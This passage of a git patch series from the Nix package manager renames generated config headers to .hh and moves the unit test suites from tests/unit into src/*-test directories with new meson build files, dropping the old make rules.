diff --git a/src/libutil/meson.build b/src/libutil/meson.build
index 099c0c65fdc..c9dfee651a8 100644
--- a/src/libutil/meson.build
+++ b/src/libutil/meson.build
@@ -132,13 +132,13 @@ deps_public += nlohmann_json
 
 config_h = configure_file(
   configuration : configdata,
-  output : 'config-util.h',
+  output : 'config-util.hh',
 )
 
 add_project_arguments(
   # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
   # It would be nice for our headers to be idempotent instead.
-  '-include', 'config-util.h',
+  '-include', 'config-util.hh',
   '-Wno-deprecated-declarations',
   '-Wimplicit-fallthrough',
   '-Werror=switch',
diff --git a/src/perl/lib/Nix/Store.xs b/src/perl/lib/Nix/Store.xs
index acce25f3a82..f951437c899 100644
--- a/src/perl/lib/Nix/Store.xs
+++ b/src/perl/lib/Nix/Store.xs
@@ -1,5 +1,5 @@
-#include "config-util.h"
-#include "config-store.h"
+#include "config-util.hh"
+#include "config-store.hh"
 
 #include "EXTERN.h"
 #include "perl.h"

From 17a8c2bfce97bc857ddd519ae7054d7d930ced39 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 27 Jun 2024 11:28:08 -0400
Subject: [PATCH 462/528] Unit tests and external libraries

---
 .gitignore                                    |  10 +-
 Makefile                                      |  19 ---
 Makefile.config.in                            |   1 -
 configure.ac                                  |  22 ---
 doc/manual/src/contributing/hacking.md        |   1 -
 doc/manual/src/contributing/testing.md        |  10 +-
 maintainers/flake-module.nix                  | 122 ++++++++--------
 meson.build                                   |  11 +-
 mk/common-test.sh                             |   2 +-
 package.nix                                   |  35 +----
 packaging/components.nix                      |  28 +++-
 src/internal-api-docs/doxygen.cfg.in          |  42 +++---
 src/internal-api-docs/package.nix             |   1 -
 src/libexpr-test-support/.version             |   1 +
 src/libexpr-test-support/meson.build          | 128 +++++++++++++++++
 .../libexpr-test-support}/tests/libexpr.hh    |   0
 .../tests/nix_api_expr.hh                     |   0
 .../tests/value/context.cc                    |   0
 .../tests/value/context.hh                    |   0
 src/libexpr-test/.version                     |   1 +
 .../libexpr-test}/derived-path.cc             |   0
 .../libexpr-test}/error_traces.cc             |   0
 .../unit/libexpr => src/libexpr-test}/eval.cc |   0
 .../unit/libexpr => src/libexpr-test}/json.cc |   0
 .../unit/libexpr => src/libexpr-test}/main.cc |   0
 src/libexpr-test/meson.build                  | 125 +++++++++++++++++
 .../libexpr-test}/nix_api_expr.cc             |   0
 .../libexpr-test}/nix_api_external.cc         |   0
 .../libexpr-test}/nix_api_value.cc            |   0
 .../libexpr => src/libexpr-test}/primops.cc   |   0
 .../libexpr-test}/search-path.cc              |   0
 .../libexpr => src/libexpr-test}/trivial.cc   |   0
 .../libexpr-test}/value/context.cc            |   0
 .../libexpr-test}/value/print.cc              |   0
 .../libexpr-test}/value/value.cc              |   0
 src/libfetchers-test/.version                 |   1 +
 .../data/public-key/defaultType.json          |   0
 .../data/public-key/noRoundTrip.json          |   0
 .../data/public-key/simple.json               |   0
 src/libfetchers-test/meson.build              | 109 +++++++++++++++
 .../libfetchers-test}/public-key.cc           |   0
 src/libflake-test/.version                    |   1 +
 .../libflake-test}/flakeref.cc                |   0
 src/libflake-test/meson.build                 | 114 +++++++++++++++
 .../libflake-test}/url-name.cc                |   0
 src/libstore-test-support/.version            |   1 +
 src/libstore-test-support/meson.build         | 130 ++++++++++++++++++
 .../tests/derived-path.cc                     |   0
 .../tests/derived-path.hh                     |   0
 .../libstore-test-support}/tests/libstore.hh  |   0
 .../tests/nix_api_store.hh                    |   0
 .../tests/outputs-spec.cc                     |   0
 .../tests/outputs-spec.hh                     |   0
 .../libstore-test-support}/tests/path.cc      |   0
 .../libstore-test-support}/tests/path.hh      |   0
 .../libstore-test-support}/tests/protocol.hh  |   0
 src/libstore-test/.version                    |   1 +
 .../libstore-test}/common-protocol.cc         |   0
 .../libstore-test}/content-address.cc         |   0
 .../data/common-protocol/content-address.bin  | Bin
 .../data/common-protocol/drv-output.bin       | Bin
 .../optional-content-address.bin              | Bin
 .../common-protocol/optional-store-path.bin   | Bin
 .../data/common-protocol/realisation.bin      | Bin
 .../data/common-protocol/set.bin              | Bin
 .../data/common-protocol/store-path.bin       | Bin
 .../data/common-protocol/string.bin           | Bin
 .../data/common-protocol/vector.bin           | Bin
 .../advanced-attributes-defaults.drv          |   0
 .../advanced-attributes-defaults.json         |   0
 ...d-attributes-structured-attrs-defaults.drv |   0
 ...-attributes-structured-attrs-defaults.json |   0
 .../advanced-attributes-structured-attrs.drv  |   0
 .../advanced-attributes-structured-attrs.json |   0
 .../data/derivation/advanced-attributes.drv   |   0
 .../derivation/bad-old-version-dyn-deps.drv   |   0
 .../data/derivation/bad-version.drv           |   0
 .../data/derivation/dynDerivationDeps.drv     |   0
 .../data/derivation/dynDerivationDeps.json    |   0
 .../data/derivation/output-caFixedFlat.json   |   0
 .../data/derivation/output-caFixedNAR.json    |   0
 .../data/derivation/output-caFixedText.json   |   0
 .../data/derivation/output-caFloating.json    |   0
 .../data/derivation/output-deferred.json      |   0
 .../data/derivation/output-impure.json        |   0
 .../derivation/output-inputAddressed.json     |   0
 .../libstore-test}/data/derivation/simple.drv |   0
 .../data/derivation/simple.json               |   0
 .../libstore-test}/data/machines/bad_format   |   0
 .../libstore-test}/data/machines/valid        |   0
 .../libstore-test}/data/nar-info/impure.json  |   0
 .../libstore-test}/data/nar-info/pure.json    |   0
 .../data/path-info/empty_impure.json          |   0
 .../data/path-info/empty_pure.json            |   0
 .../libstore-test}/data/path-info/impure.json |   0
 .../libstore-test}/data/path-info/pure.json   |   0
 .../data/serve-protocol/build-options-2.1.bin | Bin
 .../data/serve-protocol/build-options-2.2.bin | Bin
 .../data/serve-protocol/build-options-2.3.bin | Bin
 .../data/serve-protocol/build-options-2.7.bin | Bin
 .../data/serve-protocol/build-result-2.2.bin  | Bin
 .../data/serve-protocol/build-result-2.3.bin  | Bin
 .../data/serve-protocol/build-result-2.6.bin  | Bin
 .../data/serve-protocol/content-address.bin   | Bin
 .../data/serve-protocol/drv-output.bin        | Bin
 .../serve-protocol/handshake-to-client.bin    | Bin
 .../optional-content-address.bin              | Bin
 .../serve-protocol/optional-store-path.bin    | Bin
 .../data/serve-protocol/realisation.bin       | Bin
 .../data/serve-protocol/set.bin               | Bin
 .../data/serve-protocol/store-path.bin        | Bin
 .../data/serve-protocol/string.bin            | Bin
 .../unkeyed-valid-path-info-2.3.bin           | Bin
 .../unkeyed-valid-path-info-2.4.bin           | Bin
 .../data/serve-protocol/vector.bin            | Bin
 .../data/store-reference/auto.txt             |   0
 .../data/store-reference/auto_param.txt       |   0
 .../data/store-reference/local_1.txt          |   0
 .../data/store-reference/local_2.txt          |   0
 .../store-reference/local_shorthand_1.txt     |   0
 .../store-reference/local_shorthand_2.txt     |   0
 .../data/store-reference/ssh.txt              |   0
 .../data/store-reference/unix.txt             |   0
 .../data/store-reference/unix_shorthand.txt   |   0
 .../data/worker-protocol/build-mode.bin       | Bin
 .../worker-protocol/build-result-1.27.bin     | Bin
 .../worker-protocol/build-result-1.28.bin     | Bin
 .../worker-protocol/build-result-1.29.bin     | Bin
 .../worker-protocol/build-result-1.37.bin     | Bin
 .../client-handshake-info_1_30.bin            |   0
 .../client-handshake-info_1_33.bin            | Bin
 .../client-handshake-info_1_35.bin            | Bin
 .../data/worker-protocol/content-address.bin  | Bin
 .../worker-protocol/derived-path-1.29.bin     | Bin
 .../worker-protocol/derived-path-1.30.bin     | Bin
 .../data/worker-protocol/drv-output.bin       | Bin
 .../worker-protocol/handshake-to-client.bin   | Bin
 .../keyed-build-result-1.29.bin               | Bin
 .../optional-content-address.bin              | Bin
 .../worker-protocol/optional-store-path.bin   | Bin
 .../worker-protocol/optional-trusted-flag.bin | Bin
 .../data/worker-protocol/realisation.bin      | Bin
 .../data/worker-protocol/set.bin              | Bin
 .../data/worker-protocol/store-path.bin       | Bin
 .../data/worker-protocol/string.bin           | Bin
 .../unkeyed-valid-path-info-1.15.bin          | Bin
 .../worker-protocol/valid-path-info-1.15.bin  | Bin
 .../worker-protocol/valid-path-info-1.16.bin  | Bin
 .../data/worker-protocol/vector.bin           | Bin
 .../derivation-advanced-attrs.cc              |   0
 .../libstore-test}/derivation.cc              |   0
 .../libstore-test}/derived-path.cc            |   0
 .../libstore-test}/downstream-placeholder.cc  |   0
 .../libstore-test}/machines.cc                |   0
 src/libstore-test/meson.build                 | 123 +++++++++++++++++
 .../libstore-test}/nar-info-disk-cache.cc     |   0
 .../libstore-test}/nar-info.cc                |   0
 .../libstore-test}/nix_api_store.cc           |   0
 .../libstore-test}/outputs-spec.cc            |   0
 .../libstore-test}/path-info.cc               |   0
 .../libstore => src/libstore-test}/path.cc    |   0
 .../libstore-test}/references.cc              |   0
 .../libstore-test}/serve-protocol.cc          |   0
 .../libstore-test}/store-reference.cc         |   0
 .../libstore-test}/worker-protocol.cc         |   0
 src/libutil-test                              |   1 -
 src/libutil-test-support                      |   1 -
 src/libutil-test-support/.version             |   1 +
 .../libutil-test-support}/meson.build         |   3 +
 .../libutil-test-support}/package.nix         |   0
 .../tests/characterization.hh                 |   0
 .../libutil-test-support}/tests/hash.cc       |   0
 .../libutil-test-support}/tests/hash.hh       |   0
 .../tests/nix_api_util.hh                     |   0
 .../tests/string_callback.cc                  |   0
 .../tests/string_callback.hh                  |   0
 src/libutil-test/.version                     |   1 +
 .../unit/libutil => src/libutil-test}/args.cc |   0
 .../libutil-test}/canon-path.cc               |   0
 .../libutil-test}/chunked-vector.cc           |   0
 .../libutil => src/libutil-test}/closure.cc   |   0
 .../libutil-test}/compression.cc              |   0
 .../libutil => src/libutil-test}/config.cc    |   0
 .../libutil-test}/data/git/check-data.sh      |   0
 .../data/git/hello-world-blob.bin             | Bin
 .../libutil-test}/data/git/hello-world.bin    | Bin
 .../libutil-test}/data/git/tree.bin           | Bin
 .../libutil-test}/data/git/tree.txt           |   0
 .../libutil-test}/file-content-address.cc     |   0
 .../unit/libutil => src/libutil-test}/git.cc  |   2 +-
 .../unit/libutil => src/libutil-test}/hash.cc |   0
 .../libutil => src/libutil-test}/hilite.cc    |   0
 .../libutil-test}/json-utils.cc               |   0
 .../libutil => src/libutil-test}/logging.cc   |   0
 .../libutil => src/libutil-test}/lru-cache.cc |   0
 .../libutil => src/libutil-test}/meson.build  |  17 +--
 .../libutil-test}/nix_api_util.cc             |   0
 .../libutil => src/libutil-test}/package.nix  |   0
 .../unit/libutil => src/libutil-test}/pool.cc |   0
 .../libutil-test}/references.cc               |   0
 .../libutil => src/libutil-test}/spawn.cc     |   0
 .../libutil-test}/suggestions.cc              |   0
 .../libutil => src/libutil-test}/tests.cc     |   0
 .../unit/libutil => src/libutil-test}/url.cc  |   0
 .../libutil-test}/xml-writer.cc               |   0
 tests/unit/libexpr-support/local.mk           |  23 ----
 tests/unit/libexpr/local.mk                   |  45 ------
 tests/unit/libfetchers/local.mk               |  37 -----
 tests/unit/libflake/local.mk                  |  43 ------
 tests/unit/libstore-support/local.mk          |  21 ---
 tests/unit/libstore/local.mk                  |  38 -----
 tests/unit/libutil-support/.version           |   1 -
 tests/unit/libutil-support/local.mk           |  19 ---
 tests/unit/libutil/.version                   |   1 -
 tests/unit/libutil/local.mk                   |  37 -----
 215 files changed, 871 insertions(+), 459 deletions(-)
 create mode 120000 src/libexpr-test-support/.version
 create mode 100644 src/libexpr-test-support/meson.build
 rename {tests/unit/libexpr-support => src/libexpr-test-support}/tests/libexpr.hh (100%)
 rename {tests/unit/libexpr-support => src/libexpr-test-support}/tests/nix_api_expr.hh (100%)
 rename {tests/unit/libexpr-support => src/libexpr-test-support}/tests/value/context.cc (100%)
 rename {tests/unit/libexpr-support => src/libexpr-test-support}/tests/value/context.hh (100%)
 create mode 120000 src/libexpr-test/.version
 rename {tests/unit/libexpr => src/libexpr-test}/derived-path.cc (100%)
 rename {tests/unit/libexpr => src/libexpr-test}/error_traces.cc (100%)
 rename {tests/unit/libexpr => src/libexpr-test}/eval.cc (100%)
 rename {tests/unit/libexpr => src/libexpr-test}/json.cc (100%)
 rename {tests/unit/libexpr => src/libexpr-test}/main.cc (100%)
 create mode 100644 src/libexpr-test/meson.build
 rename {tests/unit/libexpr => src/libexpr-test}/nix_api_expr.cc (100%)
 rename {tests/unit/libexpr => src/libexpr-test}/nix_api_external.cc (100%)
 rename {tests/unit/libexpr => src/libexpr-test}/nix_api_value.cc (100%)
 rename {tests/unit/libexpr => src/libexpr-test}/primops.cc (100%)
 rename {tests/unit/libexpr => src/libexpr-test}/search-path.cc (100%)
 rename {tests/unit/libexpr => src/libexpr-test}/trivial.cc (100%)
 rename {tests/unit/libexpr => src/libexpr-test}/value/context.cc (100%)
 rename {tests/unit/libexpr => src/libexpr-test}/value/print.cc (100%)
 rename {tests/unit/libexpr => src/libexpr-test}/value/value.cc (100%)
 create mode 120000 src/libfetchers-test/.version
 rename {tests/unit/libfetchers => src/libfetchers-test}/data/public-key/defaultType.json (100%)
 rename {tests/unit/libfetchers => src/libfetchers-test}/data/public-key/noRoundTrip.json (100%)
 rename {tests/unit/libfetchers => src/libfetchers-test}/data/public-key/simple.json (100%)
 create mode 100644 src/libfetchers-test/meson.build
 rename {tests/unit/libfetchers => src/libfetchers-test}/public-key.cc (100%)
 create mode 120000 src/libflake-test/.version
 rename {tests/unit/libflake => src/libflake-test}/flakeref.cc (100%)
 create mode 100644 src/libflake-test/meson.build
 rename {tests/unit/libflake => src/libflake-test}/url-name.cc (100%)
 create mode 120000 src/libstore-test-support/.version
 create mode 100644 src/libstore-test-support/meson.build
 rename {tests/unit/libstore-support => src/libstore-test-support}/tests/derived-path.cc (100%)
 rename {tests/unit/libstore-support => src/libstore-test-support}/tests/derived-path.hh (100%)
 rename {tests/unit/libstore-support => src/libstore-test-support}/tests/libstore.hh (100%)
 rename {tests/unit/libstore-support => src/libstore-test-support}/tests/nix_api_store.hh (100%)
 rename {tests/unit/libstore-support => src/libstore-test-support}/tests/outputs-spec.cc (100%)
 rename {tests/unit/libstore-support => src/libstore-test-support}/tests/outputs-spec.hh (100%)
 rename {tests/unit/libstore-support => src/libstore-test-support}/tests/path.cc (100%)
 rename {tests/unit/libstore-support => src/libstore-test-support}/tests/path.hh (100%)
 rename {tests/unit/libstore-support => src/libstore-test-support}/tests/protocol.hh (100%)
 create mode 120000 src/libstore-test/.version
 rename {tests/unit/libstore => src/libstore-test}/common-protocol.cc (100%)
 rename {tests/unit/libstore => src/libstore-test}/content-address.cc (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/common-protocol/content-address.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/common-protocol/drv-output.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/common-protocol/optional-content-address.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/common-protocol/optional-store-path.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/common-protocol/realisation.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/common-protocol/set.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/common-protocol/store-path.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/common-protocol/string.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/common-protocol/vector.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/derivation/advanced-attributes-defaults.drv (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/derivation/advanced-attributes-defaults.json (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/derivation/advanced-attributes-structured-attrs-defaults.drv (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/derivation/advanced-attributes-structured-attrs-defaults.json (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/derivation/advanced-attributes-structured-attrs.drv (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/derivation/advanced-attributes-structured-attrs.json (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/derivation/advanced-attributes.drv (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/derivation/bad-old-version-dyn-deps.drv (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/derivation/bad-version.drv (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/derivation/dynDerivationDeps.drv (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/derivation/dynDerivationDeps.json (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/derivation/output-caFixedFlat.json (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/derivation/output-caFixedNAR.json (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/derivation/output-caFixedText.json (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/derivation/output-caFloating.json (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/derivation/output-deferred.json (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/derivation/output-impure.json (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/derivation/output-inputAddressed.json (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/derivation/simple.drv (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/derivation/simple.json (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/machines/bad_format (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/machines/valid (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/nar-info/impure.json (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/nar-info/pure.json (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/path-info/empty_impure.json (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/path-info/empty_pure.json (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/path-info/impure.json (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/path-info/pure.json (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/build-options-2.1.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/build-options-2.2.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/build-options-2.3.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/build-options-2.7.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/build-result-2.2.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/build-result-2.3.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/build-result-2.6.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/content-address.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/drv-output.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/handshake-to-client.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/optional-content-address.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/optional-store-path.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/realisation.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/set.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/store-path.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/string.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/unkeyed-valid-path-info-2.3.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/unkeyed-valid-path-info-2.4.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/serve-protocol/vector.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/store-reference/auto.txt (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/store-reference/auto_param.txt (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/store-reference/local_1.txt (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/store-reference/local_2.txt (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/store-reference/local_shorthand_1.txt (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/store-reference/local_shorthand_2.txt (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/store-reference/ssh.txt (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/store-reference/unix.txt (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/store-reference/unix_shorthand.txt (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/build-mode.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/build-result-1.27.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/build-result-1.28.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/build-result-1.29.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/build-result-1.37.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/client-handshake-info_1_30.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/client-handshake-info_1_33.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/client-handshake-info_1_35.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/content-address.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/derived-path-1.29.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/derived-path-1.30.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/drv-output.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/handshake-to-client.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/keyed-build-result-1.29.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/optional-content-address.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/optional-store-path.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/optional-trusted-flag.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/realisation.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/set.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/store-path.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/string.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/unkeyed-valid-path-info-1.15.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/valid-path-info-1.15.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/valid-path-info-1.16.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/data/worker-protocol/vector.bin (100%)
 rename {tests/unit/libstore => src/libstore-test}/derivation-advanced-attrs.cc (100%)
 rename {tests/unit/libstore => src/libstore-test}/derivation.cc (100%)
 rename {tests/unit/libstore => src/libstore-test}/derived-path.cc (100%)
 rename {tests/unit/libstore => src/libstore-test}/downstream-placeholder.cc (100%)
 rename {tests/unit/libstore => src/libstore-test}/machines.cc (100%)
 create mode 100644 src/libstore-test/meson.build
 rename {tests/unit/libstore => src/libstore-test}/nar-info-disk-cache.cc (100%)
 rename {tests/unit/libstore => src/libstore-test}/nar-info.cc (100%)
 rename {tests/unit/libstore => src/libstore-test}/nix_api_store.cc (100%)
 rename {tests/unit/libstore => src/libstore-test}/outputs-spec.cc (100%)
 rename {tests/unit/libstore => src/libstore-test}/path-info.cc (100%)
 rename {tests/unit/libstore => src/libstore-test}/path.cc (100%)
 rename {tests/unit/libstore => src/libstore-test}/references.cc (100%)
 rename {tests/unit/libstore => src/libstore-test}/serve-protocol.cc (100%)
 rename {tests/unit/libstore => src/libstore-test}/store-reference.cc (100%)
 rename {tests/unit/libstore => src/libstore-test}/worker-protocol.cc (100%)
 delete mode 120000 src/libutil-test
 delete mode 120000 src/libutil-test-support
 create mode 120000 src/libutil-test-support/.version
 rename {tests/unit/libutil-support => src/libutil-test-support}/meson.build (95%)
 rename {tests/unit/libutil-support => src/libutil-test-support}/package.nix (100%)
 rename {tests/unit/libutil-support => src/libutil-test-support}/tests/characterization.hh (100%)
 rename {tests/unit/libutil-support => src/libutil-test-support}/tests/hash.cc (100%)
 rename {tests/unit/libutil-support => src/libutil-test-support}/tests/hash.hh (100%)
 rename {tests/unit/libutil-support => src/libutil-test-support}/tests/nix_api_util.hh (100%)
 rename {tests/unit/libutil-support => src/libutil-test-support}/tests/string_callback.cc (100%)
 rename {tests/unit/libutil-support => src/libutil-test-support}/tests/string_callback.hh (100%)
 create mode 120000 src/libutil-test/.version
 rename {tests/unit/libutil => src/libutil-test}/args.cc (100%)
 rename {tests/unit/libutil => src/libutil-test}/canon-path.cc (100%)
 rename {tests/unit/libutil => src/libutil-test}/chunked-vector.cc (100%)
 rename {tests/unit/libutil => src/libutil-test}/closure.cc (100%)
 rename {tests/unit/libutil => src/libutil-test}/compression.cc (100%)
 rename {tests/unit/libutil => src/libutil-test}/config.cc (100%)
 rename {tests/unit/libutil => src/libutil-test}/data/git/check-data.sh (100%)
 rename {tests/unit/libutil => src/libutil-test}/data/git/hello-world-blob.bin (100%)
 rename {tests/unit/libutil => src/libutil-test}/data/git/hello-world.bin (100%)
 rename {tests/unit/libutil => src/libutil-test}/data/git/tree.bin (100%)
 rename {tests/unit/libutil => src/libutil-test}/data/git/tree.txt (100%)
 rename {tests/unit/libutil => src/libutil-test}/file-content-address.cc (100%)
 rename {tests/unit/libutil => src/libutil-test}/git.cc (99%)
 rename {tests/unit/libutil => src/libutil-test}/hash.cc (100%)
 rename {tests/unit/libutil => src/libutil-test}/hilite.cc (100%)
 rename {tests/unit/libutil => src/libutil-test}/json-utils.cc (100%)
 rename {tests/unit/libutil => src/libutil-test}/logging.cc (100%)
 rename {tests/unit/libutil => src/libutil-test}/lru-cache.cc (100%)
 rename {tests/unit/libutil => src/libutil-test}/meson.build (88%)
 rename {tests/unit/libutil => src/libutil-test}/nix_api_util.cc (100%)
 rename {tests/unit/libutil => src/libutil-test}/package.nix (100%)
 rename {tests/unit/libutil => src/libutil-test}/pool.cc (100%)
 rename {tests/unit/libutil => src/libutil-test}/references.cc (100%)
 rename {tests/unit/libutil => src/libutil-test}/spawn.cc (100%)
 rename {tests/unit/libutil => src/libutil-test}/suggestions.cc (100%)
 rename {tests/unit/libutil => src/libutil-test}/tests.cc (100%)
 rename {tests/unit/libutil => src/libutil-test}/url.cc (100%)
 rename {tests/unit/libutil => src/libutil-test}/xml-writer.cc (100%)
 delete mode 100644 tests/unit/libexpr-support/local.mk
 delete mode 100644 tests/unit/libexpr/local.mk
 delete mode 100644 tests/unit/libfetchers/local.mk
 delete mode 100644 tests/unit/libflake/local.mk
 delete mode 100644 tests/unit/libstore-support/local.mk
 delete mode 100644 tests/unit/libstore/local.mk
 delete mode 120000 tests/unit/libutil-support/.version
 delete mode 100644 tests/unit/libutil-support/local.mk
 delete mode 100644 tests/unit/libutil/.version
 delete mode 100644 tests/unit/libutil/local.mk

diff --git a/.gitignore b/.gitignore
index a17b627f44a..838cac335a4 100644
--- a/.gitignore
+++ b/.gitignore
@@ -49,22 +49,22 @@ perl/Makefile.config
 /src/libexpr/parser-tab.output
 /src/libexpr/nix.tbl
 /src/libexpr/tests
-/tests/unit/libexpr/libnixexpr-tests
+/src/libexpr-test/libnixexpr-tests
 
 # /src/libfetchers
-/tests/unit/libfetchers/libnixfetchers-tests
+/src/libfetchers-test/libnixfetchers-tests
 
 # /src/libflake
-/tests/unit/libflake/libnixflake-tests
+/src/libflake-test/libnixflake-tests
 
 # /src/libstore/
 *.gen.*
 /src/libstore/tests
-/tests/unit/libstore/libnixstore-tests
+/src/libstore-test/libnixstore-tests
 
 # /src/libutil/
 /src/libutil/tests
-/tests/unit/libutil/libnixutil-tests
+/src/libutil-test/libnixutil-tests
 
 /src/nix/nix
 
diff --git a/Makefile b/Makefile
index bb64a104e72..a65cdbd40eb 100644
--- a/Makefile
+++ b/Makefile
@@ -38,18 +38,6 @@ makefiles += \
 endif
 endif
 
-ifeq ($(ENABLE_UNIT_TESTS), yes)
-makefiles += \
-  tests/unit/libutil/local.mk \
-  tests/unit/libutil-support/local.mk \
-  tests/unit/libstore/local.mk \
-  tests/unit/libstore-support/local.mk \
-  tests/unit/libfetchers/local.mk \
-  tests/unit/libexpr/local.mk \
-  tests/unit/libexpr-support/local.mk \
-  tests/unit/libflake/local.mk
-endif
-
 ifeq ($(ENABLE_FUNCTIONAL_TESTS), yes)
 ifdef HOST_UNIX
 makefiles += \
@@ -103,13 +91,6 @@ include mk/lib.mk
 # These must be defined after `mk/lib.mk`. Otherwise the first rule
 # incorrectly becomes the default target.
 
-ifneq ($(ENABLE_UNIT_TESTS), yes)
-.PHONY: check
-check:
-	@echo "Unit tests are disabled. Configure without '--disable-unit-tests', or avoid calling 'make check'."
-	@exit 1
-endif
-
 ifneq ($(ENABLE_FUNCTIONAL_TESTS), yes)
 .PHONY: installcheck
 installcheck:
diff --git a/Makefile.config.in b/Makefile.config.in
index 3100d207365..e131484f61d 100644
--- a/Makefile.config.in
+++ b/Makefile.config.in
@@ -12,7 +12,6 @@ ENABLE_BUILD = @ENABLE_BUILD@
 ENABLE_DOC_GEN = @ENABLE_DOC_GEN@
 ENABLE_FUNCTIONAL_TESTS = @ENABLE_FUNCTIONAL_TESTS@
 ENABLE_S3 = @ENABLE_S3@
-ENABLE_UNIT_TESTS = @ENABLE_UNIT_TESTS@
 GTEST_LIBS = @GTEST_LIBS@
 HAVE_LIBCPUID = @HAVE_LIBCPUID@
 HAVE_SECCOMP = @HAVE_SECCOMP@
diff --git a/configure.ac b/configure.ac
index 4f66a3efcf6..b9f1901664b 100644
--- a/configure.ac
+++ b/configure.ac
@@ -141,18 +141,6 @@ AC_ARG_ENABLE(build, AS_HELP_STRING([--disable-build],[Do not build nix]),
   ENABLE_BUILD=$enableval, ENABLE_BUILD=yes)
